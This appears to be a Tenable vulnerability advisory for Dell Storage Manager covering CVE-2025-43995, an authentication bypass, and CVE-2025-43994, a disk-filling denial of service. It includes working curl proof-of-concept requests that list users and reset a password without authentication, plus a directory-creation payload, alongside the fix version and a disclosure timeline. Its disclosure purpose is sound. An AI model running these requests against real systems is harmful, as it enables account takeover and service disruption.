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Dell Storage Manager Multiple Vulnerabilities

Critical

Synopsis

CVE-2025-43995: Authentication Bypass in DSM Data Collector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

 

An unauthenticated remote attacker can access APIs exposed by ApiProxy.war in DataCollectorEar.ear by using a special SessionKey and UserId. 

 

It's been observed that the ApiSession identified by an integer key of 1 seems to be present in the "sessionHash" regardless of whether any user is currently or was previously logged into the Web GUI of the application.  

 

Additionally, it appears that there are some special users used in the application. These are masterUser (id 434223), rmsUser (id 434224), and smisUser (id 434225). 

 

By specifying a <SessionKey>1</SessionKey> and <UserId>434223</UserId> in a SOAP message sent to endpoint /CompellentApiServices/CompellentAPIServices, the attacker can access (without authentication) a large set of APIs, including changing an existing DSM user's password.

 

Proof of Concept

 

# Get existing users

# - user id identified by InstanceId and user name by InstanceName

#

curl -sk -H 'Content-Type:text/xml' -d '<soapenv:Envelope xmlns:soapenv="<http://schemas.xmlsoap.org/soap/envelope/>" xmlns:web="<http://WebServer.WebServices.compellent.com/>"><soapenv:Header/><soapenv:Body><web:ApiCommand><arg0><![CDATA[<compapi><ObjectEncodeType>Xml</ObjectEncodeType><Async>false</Async><Object>EmUser</Object><CommandType>Method</CommandType><Command>GetList</Command><ApiConnection><SessionKey>1</SessionKey><UserId>434223</UserId></ApiConnection></compapi>]]></arg0></web:ApiCommand></soapenv:Body></soapenv:Envelope>' '<https://<target-host>>:3033/CompellentApiServices/CompellentAPIServices' | grep -P -o 'Instance(Id|Name)>.*?/Instance(Id|Name)>'

 

InstanceId>434226&lt;/InstanceId>

InstanceName>dsmuser&lt;/InstanceName>

 

# Change password for the user identified by the InstanceId 434226 to "Password123" (without quotes)

# - Modify <InstanceId> and <NewPassword> as needed

# - NOTE: 

# --- NewPassword cannot be the same as the old one

# --- NewPassword may need to meet the password min/max length and/or complexity rules  

#

curl -sk -H 'Content-Type:text/xml' -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://WebServer.WebServices.compellent.com/"><soapenv:Header/><soapenv:Body><web:ApiCommand><arg0><![CDATA[<compapi><ObjectEncodeType>Xml</ObjectEncodeType><Async>false</Async><Object>EmUser</Object><CommandType>Method</CommandType><Command>ChangePassword</Command><Attributes><InstanceId>434226</InstanceId><NewPassword>Password123</NewPassword></Attributes><ApiConnection><SessionKey>1</SessionKey><UserId>434223</UserId></ApiConnection></compapi>]]></arg0></web:ApiCommand></soapenv:Body></soapenv:Envelope>' 'https://<target-host>:3033/CompellentApiServices/CompellentAPIServices' | grep -P -o 'Successful>.*/Successful>'

Successful>True&lt;/Successful>

 

CVE-2025-43994: Unauthenticated Large Directory Creation in DSM Server Agent (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)

 

The DSM Server Agent allows an unauthenticated remote attacker to create a directory tree structure with the size specified by the attacker on the host running the agent. This could allow the attacker to fill up a disk drive, potentially leading to DoS.

 

Proof of Concept

 

python3 dsm_server_agent_create_space.py -t <target-host> -p 27355 -s 1000

Creating a directory tree of 1000 MB in C:\ on the remote host

 

Sending:

 

<em_sa_xml><Command>Create</Command><Arguments><DriveOrMountPoint>C:\</DriveOrMountPoint><FreePercent>0</FreePercent><SizeMB>1000</SizeMB></Arguments><ObjectType>CreateSpace</ObjectType></em_sa_xml>

 

Received:

 

<em_sa_xml>

        <BaseProcess>

                <Index>638868988165592124</Index>

                <ProcessName>[Process638868988165592124]CreateSpaceProcess</ProcessName>

                <CurrentProgress>0</CurrentProgress>

                <TotalProgress>10</TotalProgress>

                <CurrentProgress2>0</CurrentProgress2>

                <TotalProgress2>0</TotalProgress2>

                <State>1</State>

                <StateStr>NotStarted</StateStr>

                <Message></Message>

                <MessageId></MessageId>

                <Message2Id></Message2Id>

                <MessageParams></MessageParams>

                <Message2Params></Message2Params>

        </BaseProcess>

</em_sa_xml>

Solution

Upgrade to version 2020 R1.22 or later.

Disclosure Timeline

July 10, 2025: Tenable sends disclosure email to Dell's PSIRT.
July 10, 2025: Dell confirms receipt.
August 5, 2025: Tenable asks for status update.
August 6, 2025: Dell replies that they are still reviewing.
August 6, 2025: Dell asks for the PoC to be sent again and for any additional information.
August 6, 2025: Tenable sends the PoC.
August 7, 2025: Dell responds that they were unable to receive the PoC again.
August 11, 2025: Tenable sends the PoC a different way.
August 18, 2025: Dell replies that findings have been validated and are being worked on.
August 18, 2025: Tenable replies with further clarification on one of the CVSS scores and discussing disclosure related items.
September 2, 2025: Dell replies that they plan on publishing a fix by October 8 and that they are reviewing the CVSS scoring.
September 17, 2025:Dell requests delaying publish date until October 24.
September 17, 2025: Tenable replies that we will withhold publication until their fix on October 24 and asks Dell to share CVEs.
September 18, 2025: Dell shares CVEs and associated CVSS scores.
October 2, 2025: Tenable asks Dell if they are still on track for October 24.
October 2, 2025: Dell confirms that they are on track.
October 23, 2025: Dell advises that they will publish tomorrow and requests a copy of Tenable’s draft.
October 24, 2025: Dell advises that they have published.
October 24, 2025: Tenable sends a draft and prepares to publish.

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-49
CVSSv3 Base / Temporal Score:
9.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Dell Storage Manager
Risk Factor:
Critical

Advisory Timeline

October 24, 2025 - Initial release.
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